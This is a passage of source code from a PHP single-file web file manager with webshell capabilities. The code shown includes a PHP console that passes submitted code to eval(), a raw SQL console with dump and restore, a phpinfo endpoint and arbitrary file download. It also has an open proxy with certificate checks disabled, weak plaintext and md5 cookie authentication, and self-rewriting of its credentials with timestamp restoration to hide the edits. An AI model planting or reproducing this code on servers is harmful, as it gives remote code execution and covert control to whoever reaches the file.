		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zU